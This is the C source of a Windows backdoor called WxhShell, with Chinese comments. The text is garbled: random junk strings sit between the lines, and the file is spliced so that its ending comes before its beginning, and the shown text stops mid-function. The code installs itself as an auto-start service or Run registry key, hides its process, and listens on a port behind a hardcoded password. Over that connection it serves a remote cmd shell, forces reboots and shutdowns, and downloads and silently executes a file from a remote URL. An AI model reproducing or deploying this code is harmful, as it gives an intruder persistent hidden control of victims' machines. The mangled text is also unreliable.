&^xe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m 2-Sx =Xm@YVf&ZD HANDLE hProcess; (As#^q\>B PROCESS_BASIC_INFORMATION pbi; k[0-CB (VS5V31" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3E7ULK if(NULL == hInst ) return 0; D@C-5rmq yh^!'!I6u[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z+x\(/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Fy>.*,? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wi>!{.}%A M]<?k]_p if (!NtQueryInformationProcess) return 0; U2$d%8G |\w=u6jX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R5"K]~ if(!hProcess) return 0; |b[+I?X L9-h;] x! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tM2)k+fg JROM_>mC CloseHandle(hProcess); ?:Mr=]sD Qg^cf<X{i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "rTQG6` if(hProcess==NULL) return 0; Q)"C&)`l 0YaA ` HMODULE hMod; k $M]3}$U char procName[255]; Yj%U
>),8 unsigned long cbNeeded; z
MLK7+ b6W2^tr- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |lXc0"H[o "ZHW2l Mf CloseHandle(hProcess); _\=`6`b) Gn&-X]Rrl if(strstr(procName,"services")) return 1; // 以服务启动 uC.K<jD% -g)9R%>- return 0; // 注册表启动 o5xAav"+> } `))\}C@k H|,Oswk~- // 主模块
zG+R5: int StartWxhshell(LPSTR lpCmdLine) 4!$s}V=6 { za#s/b$[ SOCKET wsl; "mX\&%i6\p BOOL val=TRUE; ~SQ?BoCI[ int port=0; N03G>fZ struct sockaddr_in door; >tTj[cMJl Nb?w|Ne(T if(wscfg.ws_autoins) Install(); KiRUvWqa Q=BZ N]g2 port=atoi(lpCmdLine); m7&O9?X -<Hu!V`+ if(port<=0) port=wscfg.ws_port; rX*H)3F x2@U.r"zo WSADATA data; b'P eH\h{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m1n.g4Z&* ~UyV< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Wf>zDW^"R setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iY`%SmB door.sin_family = AF_INET; 9k9_mjLZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); nM\eDNK door.sin_port = htons(port); F&])P-
!3 >a"Z\\dF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iP@ZM=&wz closesocket(wsl); *"WDb|PBb return 1; J\J?yo 6 } @)-sTgn !l_lo`) if(listen(wsl,2) == INVALID_SOCKET) { Ad:TYpLD closesocket(wsl); .P.z B}0= return 1; MepuIh } !h(|\"
} Wxhshell(wsl); j>]nK~[ka WSACleanup(); 9m|kgY# 4 ;^La"m return 0; L,SGT8lL V?Z.\~ } Jo$G,Q O@MGda9_; // 以NT服务方式启动 N-jTc?mT~& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4%2~Wi8 { DVah DWORD status = 0; zS\E/.X2 DWORD specificError = 0xfffffff; jx.[#6e _
):d`O e serviceStatus.dwServiceType = SERVICE_WIN32; #?*WPq serviceStatus.dwCurrentState = SERVICE_START_PENDING; nt;haeJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IP``O!WP serviceStatus.dwWin32ExitCode = 0; %uJ<M-@r=u serviceStatus.dwServiceSpecificExitCode = 0; N B\{' serviceStatus.dwCheckPoint = 0; o
}3uo6GIB serviceStatus.dwWaitHint = 0; @[#$J0qq 6An9S%:_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AX?fuDLs if (hServiceStatusHandle==0) return; p/JL9@:' HS{(v; status = GetLastError(); AS E91T~ if (status!=NO_ERROR) %{(x3\ *& { e{X6i^%
m_ serviceStatus.dwCurrentState = SERVICE_STOPPED; 56e r`=ms serviceStatus.dwCheckPoint = 0; YLwnhy>dD serviceStatus.dwWaitHint = 0; B=>RH!& serviceStatus.dwWin32ExitCode = status; Oy<5>2^P serviceStatus.dwServiceSpecificExitCode = specificError; Eo\UAc SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zm"{V iv] return; q(zJ%Gv) } T[,/5J [q_`X~3 serviceStatus.dwCurrentState = SERVICE_RUNNING; uch>AuF: serviceStatus.dwCheckPoint = 0; hq:&wN7Q serviceStatus.dwWaitHint = 0; f6_];]yP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^qg?6S4 } |o2sbLp !L;\cl // 处理NT服务事件,比如:启动、停止 4Ue_Y'LmM VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Sm]>%F': { 6`0mta Q switch(fdwControl) PzV@umC1#f { zaFt*~@X case SERVICE_CONTROL_STOP: jn%!AH serviceStatus.dwWin32ExitCode = 0; z-@=+4~ serviceStatus.dwCurrentState = SERVICE_STOPPED; lqowG!3H serviceStatus.dwCheckPoint = 0; %.<H=!$ serviceStatus.dwWaitHint = 0; uQ=^~K :Z~ { a@@M+9Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]J* ,g, } ~_9n .C return; ly4s"4v case SERVICE_CONTROL_PAUSE: cXR1grz serviceStatus.dwCurrentState = SERVICE_PAUSED; (]RM6i7 break; SG?Nsp^%`B case SERVICE_CONTROL_CONTINUE: 7}GK%H-u serviceStatus.dwCurrentState = SERVICE_RUNNING; /^$UhX9v break; 5aBAr case SERVICE_CONTROL_INTERROGATE: A%Xt|=^_ break; Yz4_vePh+5 }; N%7{J SetServiceStatus(hServiceStatusHandle, &serviceStatus); m6MOW& } +vNZW@_$D WpS1a440 // 标准应用程序主函数 (faK+z,*6R int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PN$X N< { osOVg0Gyj +B'8|5tPX // 获取操作系统版本 Z<#hS=eY OsIsNt=GetOsVer(); 4<lQwV6= GetModuleFileName(NULL,ExeFile,MAX_PATH); ( 7ws{) ^pS+/ZSi^ // 从命令行安装 !PMU O\y if(strpbrk(lpCmdLine,"iI")) Install(); &SAH2xR \XF}?*8 // 下载执行文件 |+:h|UIUQ if(wscfg.ws_downexe) { (=16PYs if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y8s!M WinExec(wscfg.ws_filenam,SW_HIDE); [3W*9j } ;uqx@sx ; `:wvh( if(!OsIsNt) { f`8OM}un& // 如果时win9x,隐藏进程并且设置为注册表启动 Q\Gq|e* HideProc(); 9Ew7A(BG_3 StartWxhshell(lpCmdLine); B-*E:O0y } SVa6V}"Iv else FZ|CqD"# if(StartFromService()) yoRU_%xA // 以服务方式启动 N7%TYs StartServiceCtrlDispatcher(DispatchTable); v!42DA) else ckjrk // 普通方式启动 C{Asp StartWxhshell(lpCmdLine); MlJVeod (>=7ng^ return 0; 2/36dGFH } 0Rz(|jlbS j'HkBW:L 2 $ !D* < wNNB;n`l =========================================== yMc:n"-[ Jz:r7w{4eB LhzMAW<L4 spQLG_o,J G){g h{}mBQl " [pg}S#A |!H?+Jj: #include <stdio.h> C#i UP|7hh #include <string.h> H^~.mBP
n #include <windows.h> xU
S]P)R #include <winsock2.h> dQgk.k #include <winsvc.h> m7=1%6FN3 #include <urlmon.h> #FYAV%pi L{ho*^b #pragma comment (lib, "Ws2_32.lib") j2M+]Zp. #pragma comment (lib, "urlmon.lib") 2X88: V (rr"K+ #define MAX_USER 100 // 最大客户端连接数 g,]@4| #define BUF_SOCK 200 // sock buffer "PH6e bm #define KEY_BUFF 255 // 输入 buffer 6QZ5|T ] q
(+ZwaV@ #define REBOOT 0 // 重启 C+F*690h #define SHUTDOWN 1 // 关机 4ZC!SgJo m"-[".-l- #define DEF_PORT 5000 // 监听端口 b8BD8~; sk2% #define REG_LEN 16 // 注册表键长度 gV U1Y6. #define SVC_LEN 80 // NT服务名长度 `nJu?5 Y\+KoR'; // 从dll定义API [m'CR 4(| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oc{EuW{Ag typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [U\(G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p"`% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u>.y:> rrs"N3!aT // wxhshell配置信息 99OD=pxQ struct WSCFG { 7Bz*r0 9S int ws_port; // 监听端口 BF8"rq}r0 char ws_passstr[REG_LEN]; // 口令 X6RQqen3: int ws_autoins; // 安装标记, 1=yes 0=no Uh|>Skic4 char ws_regname[REG_LEN]; // 注册表键名 Qu%D char ws_svcname[REG_LEN]; // 服务名 Di Or{)a char ws_svcdisp[SVC_LEN]; // 服务显示名 6'OO-o char ws_svcdesc[SVC_LEN]; // 服务描述信息 XidxNPz0^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {hqAnZ@]vr int ws_downexe; // 下载执行标记, 1=yes 0=no :Gh~fm3} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !:fv>FEI9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NvtM3 Wv K(G3 }; {.k)2{ 7;LO2<|1 // default Wxhshell configuration h<p3' struct WSCFG wscfg={DEF_PORT, v })Q "xuhuanlingzhe", |G=[5e^s[ 1, 80ZnM%/} "Wxhshell", Y/U{Qc\6 "Wxhshell", ivrXwZ7jT "WxhShell Service", h ?#@~ "Wrsky Windows CmdShell Service", jB@4b'y "Please Input Your Password: ", !rTmR@e$/ 1, (:\LWJX0= "http://www.wrsky.com/wxhshell.exe", G+"8l!dC? "Wxhshell.exe" S7n"3.k }; X)uDSI~ q42FPq // 消息定义模块 oYX{R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GVd48 * char *msg_ws_prompt="\n\r? for help\n\r#>"; Jp;k+"<q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lr('k`KOQ char *msg_ws_ext="\n\rExit."; LxJ6M/". char *msg_ws_end="\n\rQuit."; Ff"gadRXd char *msg_ws_boot="\n\rReboot..."; *M~.3$NN char *msg_ws_poff="\n\rShutdown..."; FWPW/oC char *msg_ws_down="\n\rSave to "; IlLn4Iw <>4!XPo%J char *msg_ws_err="\n\rErr!"; K%{ad1$c char *msg_ws_ok="\n\rOK!"; "S(X[Y' OM96` char ExeFile[MAX_PATH]; r(uP!n1+ int nUser = 0; t6u-G+} HANDLE handles[MAX_USER]; s3lJu/Xe{ int OsIsNt; aIvBY78o )teFS% SERVICE_STATUS serviceStatus; %my SERVICE_STATUS_HANDLE hServiceStatusHandle; T!(
4QRh[ ER|!KtCSM // 函数声明 aqQ o,5U> int Install(void); /jrY%C int Uninstall(void); 4nX(:K}> int DownloadFile(char *sURL, SOCKET wsh); %"7WXOv&z int Boot(int flag); n@B{vyy void HideProc(void); qw:9zYG}qW int GetOsVer(void); T_L6 t66I int Wxhshell(SOCKET wsl); *Wyl2op6 void TalkWithClient(void *cs); 0#|7U_n int CmdShell(SOCKET sock); P"4Mm,
C int StartFromService(void); ~8Sqa%F> int StartWxhshell(LPSTR lpCmdLine); ^eTZn[qH>w 5~\Kj#PBx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q]v, VOID WINAPI NTServiceHandler( DWORD fdwControl ); #)i&DJ^Y t*z'c // 数据结构和表定义 5u pShtC SERVICE_TABLE_ENTRY DispatchTable[] = 4%bTj,H# { I#l;~a<9z {wscfg.ws_svcname, NTServiceMain}, >_#)3K1y8 {NULL, NULL} g.*&BXZi }; {a4xF2 (Nt[v;BnO // 自我安装 D=w9cKa int Install(void) 9H$g?'; { A#:8X1w char svExeFile[MAX_PATH]; 5fq.*1f HKEY key; cqg=8$ RB strcpy(svExeFile,ExeFile); my[,w$YM 'jbMTI // 如果是win9x系统,修改注册表设为自启动 RV]a%mVlM if(!OsIsNt) { >)%#V<{< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7&t~R}&| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &|,s{?z2 RegCloseKey(key); %<S7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -><QFJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O|(o8VS RegCloseKey(key); ZKsQ2"8{M return 0; tMG@K } Gmgeve } a#R%8) } )_pt*xo else { K50t%yu#T] nL\ZId // 如果是NT以上系统,安装为系统服务 nh. b/\o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zg0%>iqO if (schSCManager!=0) [0{wA9g { gN\*Y SC_HANDLE schService = CreateService s;>VeD)*) ( :xN8R^( schSCManager, 6BPAux.] wscfg.ws_svcname, Cji#?!Ra? wscfg.ws_svcdisp, Rf8:+d[Jj| SERVICE_ALL_ACCESS, b60[({A\s& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b#}t:yy SERVICE_AUTO_START, ?k
w/S4 SERVICE_ERROR_NORMAL, (l;C%O7* svExeFile, YZ{jP?x NULL, :>ZzP: QD NULL, T"A^[r* NULL, t!l/` e%J NULL, <!hpfTz* NULL <dJIq"){ ); y$v@wb5 if (schService!=0) 2:/u2K { 7Ff?Ysr CloseServiceHandle(schService); Ahd\TH CloseServiceHandle(schSCManager); G/%Ubi6% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B^Bbso'{1 strcat(svExeFile,wscfg.ws_svcname); I-,X wj- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ j
x0ZHR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I<9n(rA RegCloseKey(key); ){jqfkL return 0; D;J|eC>^ } S]. Ft/+H } !}j,TPpG CloseServiceHandle(schSCManager); WkcH5[ } #
s,Y%
Bce } 6BR\iZ u[:
P return 1; t0I>5#*WU } lxCX-a`@p zv|M*Wu // 自我卸载 b3P9Yoj- int Uninstall(void) s|BX>1 { Y)5)s0} HKEY key; @>gD1Q7v b 7s$6XO! if(!OsIsNt) { gRw.AXRa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZtKQ]jV&@ RegDeleteValue(key,wscfg.ws_regname); dqL-' RegCloseKey(key); B>ge,
}{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '[n)N@h RegDeleteValue(key,wscfg.ws_regname); }^IwQm*i RegCloseKey(key); f>?^uSpWH return 0; L F8Pb;I } dp33z"<3 } X!2.IsIS8 } QId"Cl)3 else { li1v 4 $:PF9pY( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /kAwe *) if (schSCManager!=0) A-X { zZ<ns+h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D l4d'&! if (schService!=0) 0P3j+?
N% { -??!@R7V if(DeleteService(schService)!=0) { <[/PyNYK CloseServiceHandle(schService); ]VzqQ=U% CloseServiceHandle(schSCManager); xcAF
return 0; ?,D>+:: } .A )\F ",X CloseServiceHandle(schService); :~WPY9i` } ],H1 CloseServiceHandle(schSCManager); NW}>pb9 } j{-mQTSD } H-;&xzAI rsd2v9 return 1; l7!U),x%/U } Xs{:[vRW XKpL4]{&q4 // 从指定url下载文件 m]{<Ux int DownloadFile(char *sURL, SOCKET wsh) Z TN:|IKT { W\nHX I HRESULT hr; lNq:JVJ#\r char seps[]= "/"; }R7sj char *token; \.K\YAM< char *file; eL]{#WL char myURL[MAX_PATH]; BUcaj.S char myFILE[MAX_PATH]; h9tB''ePE Usa{J: strcpy(myURL,sURL); CsJ)Z%4_ token=strtok(myURL,seps); -d$8WSI8 while(token!=NULL) iSSc5ek4 { bd@*vu}?} file=token; %s~NQ;Y token=strtok(NULL,seps); n25irCD` } ORV}j,Ym EX+={U|ua$ GetCurrentDirectory(MAX_PATH,myFILE); ,\\%EZ%a strcat(myFILE, "\\"); 2r PcNh9 strcat(myFILE, file); ]+^;vc 1r send(wsh,myFILE,strlen(myFILE),0); v_?s1+w send(wsh,"...",3,0); {bAWc. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ak~=[7Nv if(hr==S_OK) t(Q&H!~e
return 0; c9Y2eetO else mB{&7Rb0 return 1; { r<(t# W\ 1bE(AwZ } o<C]+Nt,@ |_hioMVz // 系统电源模块 KdBq@ int Boot(int flag) !=~s/{$PE { .}L-c>o"o HANDLE hToken; &cv@Kihq( TOKEN_PRIVILEGES tkp; 8`L#1ybMO )OW(T^>_'I if(OsIsNt) { C8bGae( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u7<qaOzs? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sleu#]- tkp.PrivilegeCount = 1; *G2)@0
{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (>!]A6^L~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BR&Qw'O% if(flag==REBOOT) { @2GhN&= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NB!'u)
lFD return 0; |.Y@^z;P3 } *zw
R= else { cJ7{4YK_#/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UX-_{I
QW return 0; VuX> } 73^T* } imJ[:E else { v&[X&Hu[ if(flag==REBOOT) { F#!@}K8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gL[1wM%? return 0; XEvGhy# } <WQ<<s@#pb else { avHD'zU}N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2yEO=SN,( return 0; 7\\~xSXh } ex@,F,u>o } E1U 4v&P yL.PGF1( return 1; -H ac^4uF } >m2<Nl} )JY_eG&2Dx // win9x进程隐藏模块 tn:/pPap void HideProc(void) ^.Ih,@N6 { QKUBh-QFK |5<&r]xN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); He0N if ( hKernel != NULL ) @~!-a
s7 { q5'yD;[hE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OUIUgej ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sw=JUfAhy FreeLibrary(hKernel); 9J2q`/6~e } "&~?Hzm YjX!q]56 return; |;U}'|6 } !UgUXN* *1o+o$hY2 // 获取操作系统版本 D_
Bx>G9 int GetOsVer(void) wEHAkc)Q { UgD'Bi OSVERSIONINFO winfo; ['}^;Y?*o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qUoMg%Z%l GetVersionEx(&winfo); V&4:nIS>z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kl46CZs#8 return 1; HM$`z"p5jg else }!Diai*C return 0; mSk :7ozZ } v]`A_)[ \: _.N8" // 客户端句柄模块 q563,s int Wxhshell(SOCKET wsl) ?2;n=&ZM { g~^{-6Vg SOCKET wsh; xvx\H' struct sockaddr_in client; eMm~7\
R DWORD myID; ]\D6;E8P-~ QS=$#Gp while(nUser<MAX_USER) %.Tf u0M { {YKMQI^O/ int nSize=sizeof(client); \9|] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Hp}F!X$ if(wsh==INVALID_SOCKET) return 1; $*v 20 !6tC[W` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8SCW.;0 if(handles[nUser]==0) PkCeV]`w closesocket(wsh); Zs5I?R1e8 else "$E!_ nUser++; SJ~I
r# } =@Nv:1:r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~haP.Cl: /c$Ht return 0; _#YHc[Wz } q5\LdI2 :oj)
eS[Y // 关闭 socket ?k:])^G5 void CloseIt(SOCKET wsh) Er/5 , { Tm:#"h\F closesocket(wsh); (E1>} nUser--; Q@ ) rw0$ ExitThread(0); -g[*wN8 } )[M<72 %oCjZ"ke // 客户端请求句柄 J_wz'eIb0 void TalkWithClient(void *cs) oCdOC5 { _!^FW% DCt:EhC SOCKET wsh=(SOCKET)cs; > ^v8N char pwd[SVC_LEN]; u$%#5_k char cmd[KEY_BUFF]; hPeKQwzC0 char chr[1]; k>0cTBY& int i,j; 55\X\>
0C7 _6-/S!7Y\ while (nUser < MAX_USER) { *UL|{_)c ^qus `6 if(wscfg.ws_passstr) { CMG`'gT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r4NT`&`g? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3JE;:2O~P //ZeroMemory(pwd,KEY_BUFF); 7SY->-H8 i=0; rLw[y$2 while(i<SVC_LEN) { dzv,)X ~"rwP=<} // 设置超时 +81+4{* fd_set FdRead; q' V{vFfY% struct timeval TimeOut; ot+~|Dl FD_ZERO(&FdRead); [rQ(ae FD_SET(wsh,&FdRead); wIR[2&b TimeOut.tv_sec=8; "xc*A&Sg TimeOut.tv_usec=0; gAUQQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qM:)daS1w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]>4Qs (Nlm4*{h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !zkEh9G pwd=chr[0]; F+$@3[Q`N if(chr[0]==0xd || chr[0]==0xa) { c+)|o!d pwd=0; .sR&9FH break; D_ZBx+/_? } S,tVOxs^ i++; 8m[L]6F(-z } s=~7m.m yoY)6cn@ // 如果是非法用户,关闭 socket *,[=}v1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "!/_h > } KW6" +,Th 4"X>_Nt6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v|RaB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2V"gqJHv 5GFnfc} while(1) { XK/@!ud"` \\G6c4fC ZeroMemory(cmd,KEY_BUFF); kt3#_d^El <$ZT]p T // 自动支持客户端 telnet标准 G~tOCp="p j=0; i|,A1c"* while(j<KEY_BUFF) { 1&pP}v ? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f>+}U;)EF cmd[j]=chr[0]; FuiW\=^ if(chr[0]==0xa || chr[0]==0xd) { {uM{5GSL cmd[j]=0; q
vVZA* break; h-rj } _]ttKT(
j++; ulSTR f } h%^kA@3F l(#Y8 // 下载文件 %y\7 if(strstr(cmd,"http://")) { E0Y/N? send(wsh,msg_ws_down,strlen(msg_ws_down),0); +}0*_VW if(DownloadFile(cmd,wsh)) eC`f8=V send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jc?ssm\% else nW%=k!'' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2o|#`)i } `LU,uz else { hJ*E"{xs gO%i5 switch(cmd[0]) { >,Bu^] C Xl+a@Ggtq // 帮助 5XUI7Q% case '?': { =l'_*B8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6ch[B`[h, break; QIV~)`; } $K5s)! // 安装 {=4:Tgw case 'i': {
q8bS@\i if(Install()) 4KSN;G send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]Tn#4 ,/ else cRr `r[t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<h=">}5' break; Xgc\O08 } mT~>4xi0 // 卸载 *AQbXw]w case 'r': { P1 >X5: if(Uninstall()) 8Xzx;-&4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"-{6{3 else 7[1
R}G V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3}1+"? s break; >qvD39w } jeFl+K'1 // 显示 wxhshell 所在路径 ]b| @<E7Y case 'p': { BvR3Oi@Wc char svExeFile[MAX_PATH]; ~2}ICU5 strcpy(svExeFile,"\n\r"); [:S F(*} strcat(svExeFile,ExeFile); oP75|p send(wsh,svExeFile,strlen(svExeFile),0); jtr=8OiL break; {$:13AnK } <!(n5y_ // 重启 m8^2k2 case 'b': { X*"O'XCA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7uNI if(Boot(REBOOT))
bK1`a{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ToEKId else { {*$J&{6V closesocket(wsh); HKw:fGt/o^ ExitThread(0); M':.b+xN } ZSt
ww{Z break; B8Zd#.6] } v>!}cB/6 // 关机 ClZyQ=UAD case 'd': { ppP?1Il`kb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "TJ^Z! if(Boot(SHUTDOWN)) P`9A?aG.Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Dq51 else { L1 VTq9[3 closesocket(wsh); <!>}t a ExitThread(0); v[3sg2. } d`7] reh break; 8E%*o } Vp^sER // 获取shell
H,~In2Z case 's': { 5&@ U T CmdShell(wsh); vJUB; hD closesocket(wsh); NmF2E+' ExitThread(0); Z+4Oaf! break; Z5-'|h$| } t O>qd#I // 退出 Lpf=VyqC case 'x': { ?EAqv] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7~f6j:{|z CloseIt(wsh); /U]5#'i break; dD<kNa}2 } IpmREl$j // 离开 h8Si,W3o case 'q': { b7j#a# send(wsh,msg_ws_end,strlen(msg_ws_end),0); lGhUfhk closesocket(wsh); V%=t2+ WSACleanup(); 9<mj@bI$ exit(1); GqxK|G1 break; b;l%1x9r } x=N;> } @R{&>Q:. } P[i/o# ix`x dVj` // 提示信息 ^dD?riFAk if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X5[sw;rk } T9?_ `h } 9`&D O9)8a] return; N*>; ' } `<~P> 6^Vf 5W{ // shell模块句柄 M-|2W~YU int CmdShell(SOCKET sock) gXMkI$ab { [?*^&[ STARTUPINFO si; mJ7kOQ-.$ ZeroMemory(&si,sizeof(si)); B=`! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mH .I! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +8I0.,' PROCESS_INFORMATION ProcessInfo; }3lF;k(2g char cmdline[]="cmd"; 7yl'!uz)9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 92Iv'(1ba return 0; "O
"@HVF@ } -',Y;0b% 5GkM7Zu!{j // 自身启动模式 kGP?Jx\PkH int StartFromService(void) 6suc:rp"; { .`XA6e(8KR typedef struct cTp+M L { bxq`E!] DWORD ExitStatus; l !v#6#iq DWORD PebBaseAddress; v^G5
N)F DWORD AffinityMask; ?VsZo6Z" DWORD BasePriority; +%v4Ci"%y ULONG UniqueProcessId; D(|$6J 0 ULONG InheritedFromUniqueProcessId; 5Ncd1 } PROCESS_BASIC_INFORMATION; iI0 'z=J hd-ds~ve PROCNTQSIP NtQueryInformationProcess; "(qO}&b> my6T@0R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]du~V?N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H1M>60* WgB,,L, HANDLE hProcess; zu%pr95U PROCESS_BASIC_INFORMATION pbi; ta(x4fP_ 6:pN?|=6X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VuW19-G if(NULL == hInst ) return 0; ~Y[1Me QCw<* Id+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WAbhBA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l1S1CS NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); is$d<Y&F m<4Lo0?nS if (!NtQueryInformationProcess) return 0; ZxWV,s&p Op{Mc$5a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $@Fj_
N if(!hProcess) return 0; j;.&+. a\MJbBXv if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Y8
